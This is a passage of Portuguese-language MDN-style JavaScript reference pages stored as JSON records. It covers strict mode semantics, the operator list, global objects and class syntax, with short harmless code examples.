escopo global. Isto significa que, no geral, em uma função que contém uma chamada para `eval`, todo nome que não se refere a um argumento ou variável local deve ser mapeado para uma definição particular em tempo de execução (porque aquele `eval` pode ter introduzido uma nova variável que esconderia a variável externa). No strict mode, `eval` cria variáveis apenas para o código sendo avaliado, portanto `eval` não pode afetar se um nome se refere a uma variável externa ou alguma variável local:\n\n\n```js\nvar x = 17;\nvar evalX = eval(\"'use strict'; var x = 42; x\");\nconsole.assert(x === 17);\nconsole.assert(evalX === 42);\n```\n\n\nRelacionadamente, se a função `eval` for invocada por uma expressão da forma `eval(...)` em código strict mode, o código será avaliado como código strict mode. O código pode invocar strict code explicitamente, mas não é necessário.\n\n\n```js\nfunction strict1(str) {\n  \"use strict\";\n  return eval(str); // str será tratado como código strict mode\n}\nfunction strict2(f, str) {\n  \"use strict\";\n  return f(str); // não é eval(...): str é strict se e\n  // somente se invocar strict mode\n}\nfunction nonstrict(str) {\n  return eval(str); // str é strict se e somente se\n  // invocar strict mode\n}\n\nstrict1(\"'Código strict mode!'\");\nstrict1(\"'use strict'; 'Código strict mode!'\");\nstrict2(eval, \"'Código não-strict.'\");\nstrict2(eval, \"'use strict'; 'Código strict mode!'\");\nnonstrict(\"'Código não-strict.'\");\nnonstrict(\"'use strict'; 'Código strict mode!'\");\n```\n\n\nPortanto nomes em código `eval` de strict mode se comportam da mesma forma que nomes em código strict mode que não estão sendo avaliados como resultado de `eval`.\n\nTerceiro, strict mode proíbe deletar nomes simples. `delete name` em strict mode é erro de sintaxe:\n\n\n```js\n\"use strict\";\n\nvar x;\ndelete x; // !!! erro de sintaxe\n\neval(\"var y; delete y;\"); // !!! erro de sintaxe\n```\n\n### Tornando `eval` e `arguments` mais simples\n\nStrict mode torna `arguments` e `eval` menos estranhamente mágicos. Ambos envolvem uma quantidade considerável de comportamento mágico em código normal: `eval` para adicionar ou remover *bindings* e para mudar valores de *bindings*, e `arguments` com suas propriedades indexadas como *alias* de argumentos nomeados. Strict mode dá grandes passos na direção de tratar `eval` e `arguments` como palavras-chave, embora reparos completos não venham até uma futura edição do ECMAScript.\n\nPrimeiro, os nomes `eval` e `arguments` não podem ser vinculados ou atribuídos na sintaxe da linguagem. Todas as tentativas são erros de sintaxe:\n\n\n```js\n\"use strict\";\neval = 17;\narguments++;\n++eval;\nvar obj = { set p(arguments) {} };\nvar eval;\ntry {\n} catch (arguments) {}\nfunction x(eval) {}\nfunction arguments() {}\nvar y = function eval() {};\nvar f = new Function(\"arguments\", \"'use strict'; return 17;\");\n```\n\n\nSegundo, código strict mode não faz *alias* para propriedades de objetos `arguments` criados dentro de si. Em código normal dentro de uma função cujo primeiro argumento é `arg`, definir `arg` também define `arguments[0]`, e vice-versa (a menos que nenhum argumento seja fornecido ou `arguments[0]` seja deletado). Objetos `arguments` para funções strict mode armazenam os argumentos originais quando a função é invocada. `arguments[i]` não rastreia o valor do argumento nomeado correspondente, nem um argumento nomeado rastreia o valor do `arguments[i]` correspondente.\n\n\n```js\nfunction f(a) {\n  \"use strict\";\n  a = 42;\n  return [a, arguments[0]];\n}\nvar pair = f(17);\nconsole.assert(pair[0] === 42);\nconsole.assert(pair[1] === 17);\n```\n\n\nTerceiro, `arguments.callee` não é mais suportado. Em código normal, `arguments.callee` se refere à função envolvente. Esse caso de uso é frágil: apenas nomeie a função envolvente! Além disso, `arguments.callee` prejudica substancialmente otimizações como tornar funções *inline* porque deve ser possível fornecer uma referência à função não-*inline* se `arguments.callee` for acessado. `arguments.callee` para funções strict mode é uma propriedade não-deletável que lança exceção quando atribuída ou recuperada:\n\n\n```js\n\"use strict\";\nvar f = function () {\n  return arguments.callee;\n};\nf(); // lança TypeError\n```\n\n### Tornando JavaScript \"seguro\"\n\nStrict mode torna mais fácil escrever JavaScript \"seguro\". Alguns websites agora oferecem formas de escrever JavaScript que será executado pelo website *em nome de outros usuários*. JavaScript nos navegadores pode acessar informações privadas do usuário, então tal JavaScript deve ser parcialmente transformado antes de executado, para barrar acesso a funcionalidades proibidas. A flexibilidade do JavaScript torna isso efetivamente impossível sem várias verificações em tempo de execução. Algumas funções da linguagem são tão pervasivas que fazer verificações em tempo de execução tem um custo de desempenho considerável. Alguns ajustes do strict mode, mais a exigência de que o JavaScript submetido por usuários seja código strict mode e invocá-lo de uma certa maneira, reduz substancialmente a necessidade de realizar verificações em tempo de execução.\n\nPrimeiro, o valor passado como `this` para uma função em strict mode não é forçado a ser um objeto (entenda-se \"encaixotamento\"). Para uma função normal, `this` é sempre um objeto: seja o objeto fornecido se chamado com um `this` cujo valor é um objeto; o valor, encaixotado, se chamado com um `this` Boolean, string ou número; ou o objeto global se chamado com um `this` `undefined` ou `null`. Use `call`, `apply`, ou `bind` para especificar um determinado `this`. O encaixotamento automático não apenas é um custo de desempenho, como também expor o objeto global em navegadores é um risco de segurança, porque o objeto global oferece acesso a funcionalidades que ambientes JavaScript \"seguros\" devem restringir. Assim, para uma função strict mode, o `this` especificado não é encaixotado em um objeto, e se não especificado, `this` será `undefined`:\n\n\n```js\n\"use strict\";\nfunction fun() {\n  return this;\n}\nconsole.assert(fun() === undefined);\nconsole.assert(fun.call(2) === 2);\nconsole.assert(fun.apply(null) === null);\nconsole.assert(fun.call(undefined) === undefined);\nconsole.assert(fun.bind(true)() === true);\n```\n\n\nIsso significa, além de outras coisas, que em navegadores não é mais possíveis referenciar o objeto `window` através de `this` dentro de uma função strict mode.\n\nSegundo, em strict mode não é mais possível \"caminhar\" a pilha JavaScript via extensões do ECMAScript comumente implementadas. Em código normal com essas extensões, quando uma funçao `fun` está no meio de ser chamada, `fun.caller` é a função que chamou `fun` mais recentemente, e `fun.arguments` é o `arguments` para aquela invocação de `fun`. Ambas as extensões são problemáticas para JavaScript \"seguro\" porque permitem que código \"seguro\" acesse funções \"privilegiadas\" e seus argumentos (potencialmente inseguros). Se `fun` estiver em strict mode, tanto `fun.caller` quando `fun.arguments` são propriedades não-deletáveis que lançam exceção quando definidas ou recuperadas:\n\n\n```js\nfunction restrita() {\n  \"use strict\";\n  restrita.caller; // lança TypeError\n  restrita.arguments; // lança TypeError\n}\nfunction invocadorPrivilegiado() {\n  return restrita();\n}\ninvocadorPrivilegiado();\n```\n\n\nTerceiro, `arguments` para funções strict mode não oferecem mais acesso às variáveis da chamada de função correspondente. Em algumas implementações antigas do ECMAScript, `arguments.caller` era um objeto cujas propriedades faziam *alias* de variáveis naquela função. Isso é um risco de segurança porque quebra a habilidade de esconder valores privilegiados via abstração de função; isso também exclui a maioria das otimizações. Por essas razões, nenhum navegador moderno implementa isso. Ainda assim, por causa de sua funcionalidade histórica, `arguments.caller` para uma função strict mode também é uma propriedade não-deletável que lança exceção quando definida ou recuperada:\n\n\n```js\n\"use strict\";\nfunction fun(a, b) {\n  \"use strict\";\n  var v = 12;\n  return arguments.caller; // lança TypeError\n}\nfun(1, 2); // não expõe v (or a or b)\n```\n\n### Pavimentando o caminho para versões futuras do ECMAScript\n\nVersões futuras do ECMAScript provavelmente introduzirão nova sintaxe, e o strict mode no ECMAScript 5 aplica algumas restrições para facilitar essa transição. Será mais fácil fazer algumas mudanças se as fundações dessas mudanças forem proibidas no strict mode.\n\nPrimeiro, no strict mode, uma pequena lista de identificadores tornam-se palavras-chave reservadas. Estas palavras são `implements`, `interface`, `let`, `package`, `private`, `protected`, `public`, `static` e `yield`. Em strict mode, portanto, você não pode nomear ou usar variáveis ou argumentos com esses nomes.\n\n\n```js\nfunction package(protected) {\n  // !!!\n  \"use strict\";\n  var implements; // !!!\n\n  // !!!\n  interface: while (true) {\n    break interface; // !!!\n  }\n\n  function private() {} // !!!\n}\nfunction fun(static) {\n  \"use strict\";\n} // !!!\n```\n\n\nDuas ressalvas específicas à Mozilla: primeiro, se seu código for JavaScript 1.7 ou superior (por exemplo em código chrome ou usando o `<script type=\"\">` correto) e for strict mode, `let` e `yield` têm a funcionaldade que eles tiveram desde que essas palavras-chave foram introduzidas pela primeira vez. Mas código strict mode na web, carregado com `<script src=\"\">` ou `<script>...</script>`, não serão capazes de usar `let`/`yield` como identificadores. Segundo, enquanto o ES5 reserva incondicionalmente as palavras `class`, `enum`, `export`, `extends`, `import` e `super`, a Mozilla reservava-as apenas em strict mode antes do Firefox 5.\n\nSegundo, strict mode proíbe declaração de funções fora do nível superior de um script ou função. Em código normal em navegadores, declarações de funções são permitidas \"em todo lugar\". *Isso não é parte do ES5 (nem do ES3)!* É uma extensão com semânticas incompatíveis em diferentes navegadores. Edições futuras do ECMAScript promissoramente especificarão novas semânticas para declarações de funções fora do nível superior de um script ou função. Proibir tais declarações de funções em strict mode \"limpa a mesa\" para especificação em uma *release* futura do ECMAScript:\n\n\n```js\n\"use strict\";\nif (true) {\n  function f() {} // !!! erro de sintaxe\n  f();\n}\n\nfor (var i = 0; i < 5; i++) {\n  function f2() {} // !!! erro de sintaxe\n  f2();\n}\n\nfunction baz() {\n  // correto\n  function eit() {} // erro de sintaxe\n}\n```\n\n\nEssa proibição não é adequada ao strict mode porque tais declarações de função são uma extensão de ES5 básico. Mas é a recomendação do comitê do ECMAScript e os navegadores a implementarão.\n\nStrict mode em navegadores\n--------------------------\n\nOs principais navegadores agora implementam strict mode. Entretanto, não dependa deles cegamente já que ainda há várias versões de navegadores utilizadas por aí que têm apenas suporte parcial ao strict mode ou que não suportam de forma alguma (ex.: Internet Explorer abaixo da versão 10!). *Strict mode muda semântica*. Depender dessas mudanças causará equívocos e erros em navegadores que não implementam strict mode. Tenha cautela ao usar strict mode e gere confiança no strict mode com testes de funcionalidades que verificam se partes relevantes do strict mode estão implementadas. Finalmente, certifique-se de *testar seu código em navegadores que suportam e não suportam strict mode.* Se você testar apenas em navegadores que não suportam strict mode, você provavelmente terá problemas em navegadores que suportam e vice-versa.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification  |\n\nVeja também\n-----------\n\n* Where's Walden? » New ES5 strict mode support: now with poison pills!\n* Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited\n* Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only\n* JavaScript \"use strict\" tutorial for beginners.\n* John Resig - ECMAScript 5 Strict Mode, JSON, and More\n* ECMA-262-5 in detail. Chapter 2. Strict Mode.\n* Strict mode compatibility table\n* Transitioning to strict mode (en-US)"}
{"title":"Operadores - JavaScript","text":"Operadores\n==========\n\nEste capítulo documenta todos os operadores, expressões e keywords da linguagem JavaScript .\n\nExpressões e operadores por categoria\n-------------------------------------\n\nPara uma lista alfabética ver a barra lateral à esquerda.\n\n### Expressões primárias\n\nPalavras-chave e expressões básicas em JavaScript.\n\n`this`\n\nA palavra-chave `this` refere-se ao contexto de execução da função.\n\n`function`\n\nA palavra-chave `function` define uma função.\n\nExperimental `class`\n\nA palavra-chave `class` define uma classe.\n\nExperimental `function*`\n\nA palavra-chave `function*` define um gerador de função.\n\nExperimental `yield`\n\nPausa e retorma uma função de gerador\n\nExperimental `yield*`\n\nDelegar a outra função gerador ou objeto iterável.\n\n`[]`\n\nArray initializer/literal syntax.\n\n`{}`\n\nObject initializer/literal syntax.\n\n`/ab+c/i`\n\nRegular expression literal syntax.\n\nExperimental `[for (x of y) x]` (en-US)\n\nArray comprehensions.\n\nExperimental `(for (x of y) y)` (en-US)\n\nGenerator comprehensions.\n\n`( )`\n\nGrouping operator.\n\n### Left-hand-side expressions\n\nLeft values are the destination of an assignment.\n\nProperty accessors\n\n Member operators provide access to a property or method of an object\n (`object.property` and `object[\"property\"]`).\n\n\n`new`\n\nThe `new` operator creates an instance of a constructor.\n\nExperimental `super`\n\nThe `super` keyword calls the parent constructor.\n\nExperimental `...obj` (en-US)\n\nThe spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.\n\n### Incremento e decremento\n\nOperadores sufixo/prefixo para incremento e sufixo/prefixo para decremento.\n\n`A++` (en-US)\n\nOperador sufixo para incremento.\n\n`A--` (en-US)\n\nOperador sufixo para decremento.\n\n`++A` (en-US)\n\nOperador prefixo para incremento.\n\n`--A` (en-US)\n\nOperador prefixo para decremento.\n\n### Unary operators\n\nA unary operation is operation with only one operand.\n\n`delete` (en-US)\n\nThe `delete` operator deletes a property from an object.\n\n`void`\n\nThe `void` operator discards an expression's return value.\n\n`typeof`\n\nThe `typeof` operator determines the type of a given object.\n\n`+` (en-US)\n\nThe unary plus operator converts its operand to Number type.\n\n`-` (en-US)\n\nThe unary negation operator converts its operand to Number type and then negates it.\n\n`~` (en-US)\n\nBitwise NOT operator.\n\n`!` (en-US)\n\nLogical NOT operator.\n\n### Operadores aritméticos\n\nArithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.\n\n`+` (en-US)\n\nOperador de soma.\n\n`-` (en-US)\n\nOperador de subtração.\n\n`/` (en-US)\n\nOperador de divisão.\n\n`*` (en-US)\n\nOperador de multiplicação.\n\n`%` (en-US)\n\nRemainder operator.\n\n### Operadores relacionais\n\nA comparison operator compares its operands and returns a `Boolean` value based on whether the comparison is true.\n\n`in`\n\nThe `in` operator determines whether an object has a given property.\n\n`instanceof`\n\nThe `instanceof` operator determines whether an object is an instance of another object.\n\n`<` (en-US)\n\nOperador \"menor que\".\n\n`>` (en-US)\n\nOperador \"maior que\".\n\n`<=` (en-US)\n\nOperador \"menor ou igual que\".\n\n`>=` (en-US)\n\nOperador \"maior ou igual que\".\n\n### Operadores de igualdade\n\nO resultador de um operador de igualdade é do tipo `Booleano` baseado que a comparação seja verdadeira.\n\n`==` (en-US)\n\nOperadores de igualdade.\n\n`!=` (en-US)\n\nInequality operator.\n\n`===` (en-US)\n\nIdentity operator.\n\n`!==` (en-US)\n\nNonidentity operator.\n\n### Bitwise shift operators\n\nOperations to shift all bits of the operand.\n\n`<<` (en-US)\n\nBitwise left shift operator.\n\n`>>` (en-US)\n\nBitwise right shift operator.\n\n`>>>` (en-US)\n\nBitwise unsigned right shift operator.\n\n### Binary bitwise operators\n\nBitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.\n\n`&` (en-US)\n\nBitwise AND.\n\n`|` (en-US)\n\nBitwise OR.\n\n`^` (en-US)\n\nBitwise XOR.\n\n### Operadores Lógicos Binários\n\nOperadores lógicos são normalmente usados com boolean (logical) valores, e quando eles são, eles retornam um valor Boolean.\n\n`&&` (en-US)\n\nAND.\n\n`||` (en-US)\n\nOR.\n\n### Operador de Condicional (ternário)\n\n`(condition ? ifTrue : ifFalse)`\n\nO operador condicional retorna um dos dois valores baseado no valor lógico da condição.\n\n### Assignment operators\n\nAn assignment operator assigns a value to its left operand based on the value of its right operand.\n\n`=` (en-US)\n\nAssignment operator.\n\n`*=` (en-US)\n\nMultiplication assignment.\n\n`/=` (en-US)\n\nDivision assignment.\n\n`%=` (en-US)\n\nRemainder assignment.\n\n`+=` (en-US)\n\nAddition assignment.\n\n`-=` (en-US)\n\nSubtraction assignment\n\n`<<=` (en-US)\n\nLeft shift assignment.\n\n`>>=` (en-US)\n\nRight shift assignment.\n\n`>>>=` (en-US)\n\nUnsigned right shift assignment.\n\n`&=` (en-US)\n\nBitwise AND assignment.\n\n`^=` (en-US)\n\nBitwise XOR assignment.\n\n`|=` (en-US)\n\nBitwise OR assignment.\n\nExperimental\n `[a, b] = [1, 2]`\n\nExperimental\n `{a, b} = {a:1, b:2}`\n\nDestructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.\n\n### Comma operator\n\n`,`\n\nThe comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.\n\n### Non-standard features\n\nNon-standard Legacy generator function (en-US)\n\nThe `function` keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one `yield` expression.\n\nNon-standard Expression closures\n\nThe expression closure syntax is a shorthand for writing simple function.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-addition-operator-plus |\n| ECMAScript Language Specification # sec-assignment-operators |\n| ECMAScript Language Specification # sec-async-function-definitions |\n| ECMAScript Language Specification # sec-async-generator-function-definitions |\n| ECMAScript Language Specification # prod-BitwiseANDExpression |\n| ECMAScript Language Specification # sec-bitwise-not-operator |\n| ECMAScript Language Specification # prod-BitwiseORExpression |\n| ECMAScript Language Specification # prod-BitwiseXORExpression |\n| ECMAScript Language Specification # sec-class-definitions |\n| ECMAScript Language Specification # sec-comma-operator |\n| ECMAScript Language Specification # sec-conditional-operator |\n| ECMAScript Language Specification # sec-postfix-decrement-operator |\n| ECMAScript Language Specification # sec-delete-operator |\n| ECMAScript Language Specification # sec-destructuring-assignment |\n| ECMAScript Language Specification # sec-destructuring-binding-patterns |\n| ECMAScript Language Specification # sec-multiplicative-operators |\n| ECMAScript Language Specification # sec-equality-operators |\n| ECMAScript Language Specification # sec-exp-operator |\n| ECMAScript Language Specification # sec-function-definitions |\n| ECMAScript Language Specification # sec-generator-function-definitions |\n| ECMAScript Language Specification # sec-relational-operators |\n| ECMAScript Language Specification # sec-grouping-operator |\n| ECMAScript Language Specification # sec-import-calls |\n| ECMAScript Language Specification # prod-ImportMeta |\n| HTML Standard # hostgetimportmetaproperties |\n| ECMAScript Language Specification # sec-postfix-increment-operator |\n| ECMAScript Language Specification # sec-left-shift-operator |\n| ECMAScript Language Specification # prod-LogicalANDExpression |\n| ECMAScript Language Specification # sec-logical-not-operator |\n| ECMAScript Language Specification # prod-LogicalORExpression |\n| ECMAScript Language Specification # sec-new-operator |\n| ECMAScript Language Specification # sec-built-in-function-objects |\n| ECMAScript Language Specification # sec-null-value |\n| ECMAScript Language Specification # prod-CoalesceExpression |\n| ECMAScript Language Specification # sec-object-initializer |\n| ECMAScript Language Specification # prod-OptionalExpression |\n| ECMAScript Language Specification # sec-property-accessors |\n| ECMAScript Language Specification # sec-signed-right-shift-operator |\n| ECMAScript Language Specification # prod-SpreadElement |\n| ECMAScript Language Specification # prod-ArgumentList |\n| ECMAScript Language Specification # prod-PropertyDefinition |\n| ECMAScript Language Specification # sec-subtraction-operator-minus |\n| ECMAScript Language Specification # sec-super-keyword |\n| ECMAScript Language Specification # sec-this-keyword |\n| ECMAScript Language Specification # sec-typeof-operator |\n| ECMAScript Language Specification # sec-unary-minus-operator |\n| ECMAScript Language Specification # sec-unary-plus-operator |\n| ECMAScript Language Specification # sec-unsigned-right-shift-operator |\n| ECMAScript Language Specification # sec-void-operator |\n| ECMAScript Language Specification # prod-YieldExpression |\n| ECMAScript Language Specification # sec-generator-function-definitions-runtime-semantics-evaluation |\n\nVeja também\n-----------\n\n* Operator precedence"}
{"title":"Objetos Globais - JavaScript","text":"Objetos Globais\n===============\n\nResumo\n------\n\nEste capítulo documenta todos os objetos nativos do JavaScript padrão, assim como seus métodos e propriedades.\n\nO termo \"objetos globais\" (ou objetos nativos por padrão) aqui não deve ser confundido com o de **objeto global**. Aqui, objetos globais se referem aos **objetos no escopo global** (somente se o modo estrito/*strict mode* do ECMAScript 5 não for usado; Nesse caso retorna `undefined`). O **objeto global** pode ser acessado usando o operador `this` no escopo global. De fato, o escopo global **consiste em** propriedades do objeto global, incluindo propriedades herdadas, se houver.\n\nOutros objetos no escopo global também são criados pelo desenvolvedor ou fornecido pela aplicação *host*. Os objetos disponíveis no *host* no contexto do browser são documentados na API reference (en-US). Para maiores informações sobre as distinções entre DOM (en-US) e core JavaScript, veja visão geral das tecnologias JavaScript.\n\nObjetos padrão (por categoria)\n------------------------------\n\n### Propriedades de valor\n\nPropriedades globais retornam um valor simples; eles não tem propriedades ou métodos.\n\n* `Infinity`\n* `NaN`\n* `undefined`\n* `null` literal\n### Propriedades de função\n\nEstas funções globais —funções que são chamadas globalmente ao invés de em um objeto—retornam diretamente seus resultados a quem chama.\n\n* `eval()`\n* `uneval()` \nNon-standard\n* `isFinite()`\n* `isNaN()`\n* `parseFloat()`\n* `parseInt()`\n* `decodeURI()`\n* `decodeURIComponent()`\n* `encodeURI()`\n* `encodeURIComponent()`\n* `escape()` \nDeprecated\n* `unescape()` \nDeprecated\n### Objetos fundamentais\n\nEstes são objetos básicos e fundamentais nos quais todos os outros objetos são baseados. Isso inclui objetos que representam objetos genéricos, funções e erros.\n\n* `Object`\n* `Function`\n* `Boolean`\n* `Symbol` \nExperimental\n* `Error`\n* `EvalError`\n* `InternalError`\n* `RangeError` (en-US)\n* `ReferenceError`\n* `StopIteration`\n* `SyntaxError` (en-US)\n* `TypeError`\n* `URIError` (en-US)\n### Números e datas\n\nEstes são objetos base para a representação de números, datas e cálculos matemáticos.\n\n* `Number`\n* `Math`\n* `Date`\n### Processamento de texto\n\nEstes objetos representam strings e manipulam as mesmas.\n\n* `String`\n* `RegExp`\n### Coleções indexadas\n\nEstes objetos representam coleções de dados que são ordenados pelo valor de um índice. Isso inclui arrays (tipados) e arrays baseados em outros construtores, como `[]`.\n\n* `Array`\n* `Float32Array` (en-US)\n* `Float64Array` (en-US)\n* `Int16Array` (en-US)\n* `Int32Array` (en-US)\n* `Int8Array` (en-US)\n* `Uint16Array` (en-US)\n* `Uint32Array` (en-US)\n* `Uint8Array` (en-US)\n* `Uint8ClampedArray` (en-US)\n* `ParallelArray` \nNon-standard\n### Coleções chaveadas\n\nEstes objetos representam coleções que usam chaves; estas contém elementos que são iteráveis na ordem de inserção.\n\n* `Map` \nExperimental\n* `Set` \nExperimental\n* `WeakMap` \nExperimental\n* `WeakSet` \nExperimental\n### Dados estruturados\n\nEstes objetos representam e interagem com buffers de dados estruturados e dados codificados usando JavaScript Object Notation (JSON).\n\n* `ArrayBuffer`\n* `DataView`\n* `JSON`\n### Controle de abstrações de objetos\n\n* `Promise` \nExperimental\n* `Generator` \nExperimental\n* `GeneratorFunction` (en-US) \nExperimental\n### Reflexão (reflection)\n\n* `Reflect` \nExperimental\n* `Proxy` \nExperimental\n### Internacionalização\n\nAdições ao core do ECMAScript para funcionalidades sensíveis à linguagem.\n\n* `Intl`\n* `Intl.Collator` (en-US)\n* `Intl.DateTimeFormat` (en-US)\n* `Intl.NumberFormat`\n### Objetos não-padrão\n\n* `Iterator` (en-US) \nNon-standard\n* `ParallelArray` \nNon-standard\n* `StopIteration` \nNon-standard\n### Outros\n\n* `arguments` (en-US)"}
{"title":"Classes - JavaScript","text":"Classes\n=======\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nClasses em JavaScript são introduzidas no ECMAScript 2015 e são simplificações da linguagem para as heranças baseadas nos protótipos. A sintaxe para classes **não** introduz um novo modelo de herança de orientação a objetos em JavaScript. Classes em JavaScript provêm uma maneira mais simples e clara de criar objetos e lidar com herança.\n\nDefinindo classes\n-----------------\n\nAs Classes são, de fato, \"funções especiais\", e, assim como você pode definir \"function expressions\" e \"function declarations\", a sintaxe de uma classe possui dois componentes: \"class expressions\" e \"class declarations\".\n\n### Declarando classes\n\nUma maneira de definir uma classe é usando uma declaração de classe. Para declarar uma classe, você deve usar a palavra-chave `class` seguida pelo nome da classe (aqui \"Retangulo\").\n\n\n```js\nclass Retangulo {\n  constructor(altura, largura) {\n    this.altura = altura;\n    this.largura = largura;\n  }\n}\n```\n\n\n#### Uso antes da declaração (Hoisting - Tradução Literal: Lançamento)\n\nUma diferença importante entre **declarações de funções** das **declarações de classes**, é que declararações de funções são hoisted e declarações de classes não são. Primeiramente deve declarar sua classe para só então acessá-la, pois do contrário o código a seguir irá lançar uma exceção: `ReferenceError`:\n\n\n```js\nconst p = new Retangulo(); // Erro de referência (ReferenceError)\n\nclass Retangulo {}\n```\n\n### Expressões de Classes\n\nUma **Expressão de Classe** (class expression) é outra forma para definir classes. Expressões de Classes podem possuir nomes ou não (anônimas). O nome dado para uma expressão de classe é local ao corpo da classe.\n\n\n```js\n// sem nome\nlet Retangulo = class {\n  constructor(altura, largura) {\n    this.altura = altura;\n    this.largura = largura;\n  }\n};\n\n// nomeada\nlet Retangulo = class Retangulo {\n  constructor(altura, largura) {\n    this.altura = altura;\n    this.largura = largura;\n  }\n};\n```\n\n\n**Nota:** As **expressões de classe** também sofrem com o mesmo problema de hoisted mencionados em **declarações** de classe.\n\nCorpo de uma classe e definições de métodos\n-------------------------------------------\n\nO corpo de uma classe é a parte que está entre chaves `{}`. É aí onde você define os membros da classe, como os métodos, ou os construtores.\n\n### Modo Estrito (strict mode)\n\nOs corpos das Declarações de Classes e das Expressões de Classes são executados em modo estrito.\n\n### Construtor\n\nO método `constructor` é um tipo especial de método para criar e iniciar um objeto criado pela classe. Só pode existir um método especial com o nome \"constructor\" dentro da classe. Um erro de sintaxe `SyntaxError` (en-US) será lançado se a classe possui mais do que uma ocorrência do método `constructor`.\n\nUm construtor pode usar a palavra-chave `super` para chamar o construtor de uma classe pai.\n\n### Métodos Protótipos\n\nVeja também definições de métodos (method definitions).\n\n\n```js\nclass Retangulo {\n  constructor(altura, largura) {\n    this.altura = altura;\n    this.largura = largura;\n  }\n  //Getter\n  get area() {\n    return this.calculaArea();\n  }\n\n  calculaArea() {\n    return this.altura \\* this.largura;\n  }\n}\n\nconst quadrado = new Retangulo(10, 10);\n\nconsole.log(quadrado.area);\n```\n\n### Métodos estáticos\n\nA palavra-chave `static` define um método estático de uma classe. Métodos estáticos são chamados sem a instanciação da sua classe e não podem ser chamados quando a classe é instanciada. Métodos estáticos são geralmente usados para criar funções de utilidades por uma aplicação.\n\n\n```js\nclass Ponto {\n  constructor(x, y) {\n    this.x = x;\n    this.y = y;\n  }\n\n  static distancia(a, b) {\n    const dx = a.x - b.x;\n    const dy = a.y - b.y;\n\n    return Math.hypot(dx, dy);\n  }\n}\n\nconst p1 = new Ponto(5, 5);\nconst p2 = new Ponto(10, 10);\n\np1.distancia; //undefined\np2.distancia; //undefined\n\nconsole.log(Ponto.distancia(p1, p2));\n```\n\n### Empacotando com protótipos e métodos estáticos\n\nQuando um método estático ou protótipo é chamado sem um objeto \"this\" configurado (ou com \"this\" como boolean, string, number, undefined ou null), então o valor \"this\" será **`undefined`** dentro da função chamada. Autoboxing não vai acontecer. O comportamento será o mesmo se escrevemos o código no modo não-estrito.\n\n\n```js\nclass Animal {\n  falar() {\n    return this;\n  }\n  static comer() {\n    return this;\n  }\n}\n\nlet obj = new Animal();\nobj.falar(); // Animal {}\nlet falar = obj.falar;\nfalar(); // undefined\n\nAnimal.comer(); // class Animal\nlet comer = Animal.comer;\ncomer(); // undefined\n```\n\n\nSe escrevemos o código acima usando classes baseadas em função tradicional, então o autoboxing acontecerá com base no valor de \"this\" para o qual a função foi chamada.\n\n\n```js\nfunction Animal() {}\n\nAnimal.prototype.falar = function () {\n  return this;\n};\n\nAnimal.comer = function () {\n  return this;\n};\n\nlet obj = new Animal();\nlet falar = obj.falar;\nfalar(); // objeto global\n\nlet comer = Animal.comer;\ncomer(); // objeto global\n```\n\n### Propriedades de instância\n\nPropriedades de instâncias devem ser definidas dentro dos métodos da classe:\n```\n\nclass Retangulo {\n  constructor(altura, largura) {\n    this.altura = altura;\n    this.largura = largura;\n  }\n}\n```\n\n\nPropriedades de dados estáticos e propriedades de dados prototipados (prototype) devem ser definidos fora da declaração do corpo da classe.\n```\n\nRetangulo.larguraEstatico = 20;\nRetangulo.prototype.larguraPrototipagem = 25;\n```\n\nSub classes com o `extends`\n---------------------------\n\nA palavra-chave `extends` é usada em uma *declaração de classe*, ou em uma *expressão de classe* para criar uma classe como filha de uma outra classe.\n\n\n```js\nclass Animal {\n  constructor(nome) {\n    this.nome = nome;\n  }\n\n  falar() {\n    console.log(this.nome + \" emite um barulho.\");\n  }\n}\n\nclass Cachorro extends Animal {\n  falar() {\n    console.log(this.nome + \" latidos.\");\n  }\n}\n\nlet cachorro = new Cachorro(\"Mat\");\ncachorro.falar();\n```\n\n\nSe existir um contrutor nas subclasses, é necessário primeiro chamar super() antes de usar a keyword \"this\".\n\nTambém é possivel ampliar (extends) \"classes\" baseadas em funções tradicionais.\n\n\n```js\nfunction Animal(nome) {\n  this.nome = nome;\n}\n\nAnimal.prototype.falar = function () {\n  console.log(this.nome + \" faça barulho.\");\n};\n\nclass Cachorro extends Animal {\n  falar() {\n    console.log(this.nome + \" lati.\");\n  }\n}\n\nlet cachorro = new Cachorro(\"Mitzie\");\ncachorro.falar(); // Mitzie lati.\n```\n\n\nNote que classes não extendem objetos normais (não construíveis). Se você quer herdar de um objeto, é necessário utilizar `Object.setPrototypeOf()`:\n\n\n```js\nlet Animal = {\n  falar() {\n    console.log(this.nome + \" faça barulho.\");\n  },\n};\n\nclass Cachorro {\n  constructor(nome) {\n    this.nome = nome;\n  }\n}\n\nObject.setPrototypeOf(Cachorro.prototype, Animal);\n\nlet cachorro = new Cachorro(\"Mitzie\");\ncachorro.falar(); //Mitzie faça barulho.\n```\n\nSpecies\n-------\n\nVocê pode querer retornar um objeto `Array` na sua classe `MinhaArray` derivada de array. O padrão Species permite a sobrescrita do construtor padrão.\n\nPor exemplo, quando utilizando um método como `map()` que retorna o construtor padrão, você pode querer que esse método retorne um objeto `Array` ao invés do objeto `MinhaArray`. O `Symbol.species` te permite fazer isso:\n\n\n```js\nclass MinhaArray extends Array {\n  // Sobrescreve species para o construtor da classe pai Array\n  static get [Symbol.species]() {\n    return Array;\n  }\n}\n\nlet a = new MinhaArray(1, 2, 3);\nlet mapped = a.map((x) => x \\* x);\n\nconsole.log(mapped instanceof MyArray); // false\nconsole.log(mapped instanceof Array); // true\n```\n\nChamada da classe pai com `super`\n---------------------------------\n\nA palavra-chave (keyword) `super` é utilizada para chamar funções que pertencem ao pai do objeto.\n\n\n```js\nclass Gato {\n  constructor(nome) {\n    this.nome = nome;\n  }\n\n  falar() {\n    console.log(this.nome + \" faça barulho.\");\n  